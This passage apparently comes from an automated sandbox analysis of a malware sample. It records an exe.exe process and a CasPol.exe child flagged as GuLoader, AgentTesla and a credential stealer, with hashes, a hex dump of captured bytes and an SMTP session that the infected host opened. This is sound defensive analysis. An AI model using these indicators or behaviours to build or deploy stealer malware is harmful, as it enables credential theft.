b7 48 7f e9 37 bc 79 76 52 5a d2 5a 59 b2 dc 60 03 63 20 c2 59 11 ed 13 6e f8 b2 2c 6e df a3 01 ef 91 fc a5 6d 6d 7b dd 
4e 7a cd 83 d1 61 79 47 2a 8e 2d 29 97 b8 67 0d f6 11 69 9f 04 9c 00 b3 4e 86 98 40 d2 7e 0c fd 1e 2e a6 30 80 87 00 d1 
72 ec 80 c7 a9 af e2 4e c5 0f 35 22 ec 27 4c 52 c8 d2 ca 59 6b aa aa a3 e2 fb 75 e0 1a b3 44 03 94 b8 1b 77 23 e4 41 2e 
55 9a 61 02 ce aa b2 f1 94 90 e2 58 1d 59 0f 22 00 69 3b fb 03 8f 0e 5d 1b f0 1c 72 68 7f 9e 94 0a 0f b2 20 37 08 e4 67 8a
48 2f 13 ed 4d f8 4a 46 93 ca 19 7d 7a c9 25 17 0e f9 c5 3a de 67 fd 52 1b c0 43 68 7d bc 56 e2 26 4d b1 9d fe cf e9 fe bf 
d4 04 ed a5 f1 c9 39 59 c1 6f 04 f6 0a 25 59 32 
Data Ascii: uv2wN>_cQa6JIbH7yvRZZY`c Yn,nmm{NzayG*-)giN@~.0rN5"'LRYkuDw#A.UaXY"i;]rh 7gH/MJF}z%:gRCh
}V&M9Yo%Y2

Timestamp
kBytes
transferred Direction Data

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Nov 24, 2021 21:02:04.454010963 CET 587 49823 116.202.203.61 192.168.11.20 220-server.infomedya.net ESMTP Exim 4.94.2 #2 Wed, 24 Nov 2021 
23:02:04 +0300 
220-We do not authorize the use of this system to transport unsolicited, 
220 and/or bulk e-mail.

Nov 24, 2021 21:02:04.454370022 CET 49823 587 192.168.11.20 116.202.203.61 EHLO 887849

Nov 24, 2021 21:02:04.467577934 CET 587 49823 116.202.203.61 192.168.11.20 250-server.infomedya.net Hello 887849 [102.129.143.99]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-PIPE_CONNECT
250-STARTTLS
250 HELP

Nov 24, 2021 21:02:04.467854977 CET 49823 587 192.168.11.20 116.202.203.61 STARTTLS

Nov 24, 2021 21:02:04.485167027 CET 587 49823 116.202.203.61 192.168.11.20 220 TLS go ahead

Start time: 21:00:11

Start date: 24/11/2021

Path: C:\Users\user\Desktop\exe.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\exe.exe" 

Imagebase: 0x400000

File size: 131072 bytes

MD5 hash: CCDF9DE19A42D303579DFCC11F846BCB

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000002.00000002.173205979161.0000000002AD0000.00000040.00000001.sdmp, 
Author: Joe Security

SMTP Packets

Analysis Process: exe.exe PID: 5864 Parent PID: 4828Analysis Process: exe.exe PID: 5864 Parent PID: 4828

General
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Disassembly

File ActivitiesFile Activities

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 21:00:19

Start date: 24/11/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\exe.exe" 

Imagebase: 0xaa0000

File size: 108664 bytes

MD5 hash: 914F728C04D3EDDD5FBA59420E74E56B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000004.00000000.173087350573.0000000000F00000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 21:00:20

Start date: 24/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff794780000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Analysis Process: CasPol.exe PID: 5840 Parent PID: 5864Analysis Process: CasPol.exe PID: 5840 Parent PID: 5864

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 5668 Parent PID: 5840Analysis Process: conhost.exe PID: 5668 Parent PID: 5840

General
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Disassembly

Code Analysis
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